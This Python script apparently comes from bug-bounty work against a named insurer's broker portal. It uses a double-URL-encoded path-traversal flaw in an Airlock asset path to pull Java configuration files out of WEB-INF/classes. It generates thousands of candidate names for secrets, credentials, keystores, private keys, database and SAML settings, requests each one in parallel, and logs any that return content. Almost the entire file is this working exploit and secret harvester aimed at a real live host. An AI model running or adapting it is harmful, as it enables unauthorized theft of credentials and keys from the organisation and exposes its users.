from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import argparse, urllib.parse, itertools, json, sys, time

ap=argparse.ArgumentParser()
ap.add_argument('--host',default='maklerportal.baloise.de')
ap.add_argument('--workers',type=int,default=8)
ap.add_argument('--out',required=True)
a=ap.parse_args()
base=f'https://{a.host}/auth/ui/assets/airlock/i18n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/WEB-INF/classes/'
H={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache','Accept':'application/json'}

# Deployment-specific terms observed in live routes/WADLs, product names and likely Java packages.
entities='''baloise basler balgroupit helvetia mein meinportal mein-portal infoportal info-portal maklerportal makler-portal si-portal vertriebsservice zeus portal venta easylogin easy-login tgic ext-login extlogin account-linking accountlinking el-account-linking el_account_linking el-account-linking2 el_account_linking2 saml saml2 sso iam medusa login loginapp login-app auth authentication portal-ao portal_ao portal-mo portal_mo portal-si portal_si sas-va sas_va antragsfreigabe bsi-crm bsi_crm'''.split()
configs='''application bootstrap config configuration settings properties defaults default instance environment env production prod external internal runtime system server service services security secrets secret sensitive-values sensitiveValues credentials credential passwords password key keys signing signing-key public-key private-key crypto encryption keystore truststore tls ssl certificate certificates mapping mappings attribute attributes attribute-mapping claims roles users user user-mapping ldap active-directory ad database db datasource data-source jdbc jpa hibernate persistence redis cache hazelcast mail email smtp sms smpp oauth oauth2 oidc openid jwt jwks saml saml2 sso ticket sso-ticket transform transformer saml-transform saml2-transform easylogin easy-login account-linking endpoints urls uri uris hosts integrations plugin plugins custom version build build-info git logging log4j log4j2 audit policy policies tenant tenants realm realms client clients consumer consumers provider providers idp sp federation federation-config'''.split()

def vars(s):
    out={s,s.lower(),s.replace('-','_'),s.replace('_','-')}
    parts=s.replace('_','-').split('-')
    if len(parts)>1:
        out.add(parts[0]+''.join(x[:1].upper()+x[1:] for x in parts[1:]))
        out.add(''.join(x[:1].upper()+x[1:] for x in parts))
        out.add('.'.join(parts))
    return {x for x in out if x}

names=set()
for x in entities+configs:
    names |= vars(x)
# High-value compound roots, limited to target-specific entities and sensitive config suffixes.
compound_cfg=['config','configuration','settings','properties','secrets','credentials','security','mapping','attribute-mapping','claims','roles','keys','keystore','truststore','saml','saml2','sso','sso-ticket','transform','transformer','endpoints','application','production','prod']
for e in entities:
  for c in compound_cfg:
    for sep in ('-','_','.'):
      names.add(e+sep+c)
      names.add(c+sep+e)
# Common resource directory layouts and likely Baloise custom package roots.
prefixes=['config','configuration','conf','settings','security','saml','saml2','sso','easylogin','tgic','baloise','baloise/iam','baloise/saml2','baloise/easylogin','META-INF','WEB-INF/classes']
packages=['com/baloise','de/baloise','ch/baloise','com/baloise/iam','de/baloise/iam','ch/baloise/iam','com/baloise/iam/saml2','de/baloise/iam/saml2','ch/baloise/iam/saml2','com/baloise/login','de/baloise/login','com/balgroupit','de/balgroupit','ch/balgroupit','com/helvetia','de/helvetia','com/airlock/iam/custom','com/airlock/iam/baloise']
leafs=set(configs)|{'baloise-saml2','baloise-saml','saml2-transform','saml-transform','easylogin','easy-login','tgic','account-linking','el_account_linking','el_account_linking2','portal_ao','portal_mo','portal_si','venta','sas_va'}
for p in prefixes+packages:
  for l in leafs:
    names.add(p+'/'+l)
# Spring/Maven and conventional framework paths.
for p in ['META-INF','META-INF/spring','META-INF/config','spring','config/spring','com/baloise/iam/config','de/baloise/iam/config','ch/baloise/iam/config']:
  for l in ['application','applicationContext','application-context','security','saml','saml2','sso','easylogin','baloise','credentials','secrets','settings','configuration']:
    names.add(p+'/'+l)
# Profile variants.
for root in ['application','bootstrap','config','baloise','easylogin','saml2','sso','loginapp','medusa','instance']:
  for profile in ['prod','production','de','default','external','internal']:
    names.add(root+'-'+profile); names.add(root+'_'+profile); names.add('config/'+root+'-'+profile)
# Remove already-tested broad roots and nonsensical lengths only; retain package variants.
names={n.strip('/') for n in names if n and len(n)<180 and '..' not in n}

# The request's .json suffix allows the custom loader to retrieve the corresponding .properties.
def one(n):
    url=base+urllib.parse.quote(n,safe='/_.-')+'.json'
    try:
      r=requests.get(url,headers=H,timeout=20,verify=False,toadex_capture=False)
      body=r.text.strip()
      return {'name':n,'status':r.status_code,'size':len(r.content),'etag':r.headers.get('ETag'),'lm':r.headers.get('Last-Modified'),'body':body[:12000]}
    except Exception as e:
      return {'name':n,'status':0,'size':0,'error':repr(e)}

out=Path(a.out); out.parent.mkdir(parents=True,exist_ok=True)
print(f'host={a.host} candidates={len(names)} workers={a.workers}',file=sys.stderr,flush=True)
hits=[]; errors=0
with out.open('w') as f, ThreadPoolExecutor(max_workers=a.workers) as ex:
  futs={ex.submit(one,n):n for n in sorted(names)}
  for i,fut in enumerate(as_completed(futs),1):
    x=fut.result(); f.write(json.dumps(x,ensure_ascii=False)+'\n')
    if x.get('status')==0: errors+=1
    body=x.get('body','')
    if x.get('status')!=200 or body not in ('{}',''):
      hits.append(x); print('HIT',json.dumps(x,ensure_ascii=False),flush=True)
    if i%250==0: print(f'progress {i}/{len(names)} errors={errors} hits={len(hits)}',file=sys.stderr,flush=True)
print(f'done candidates={len(names)} errors={errors} hits={len(hits)}',file=sys.stderr)
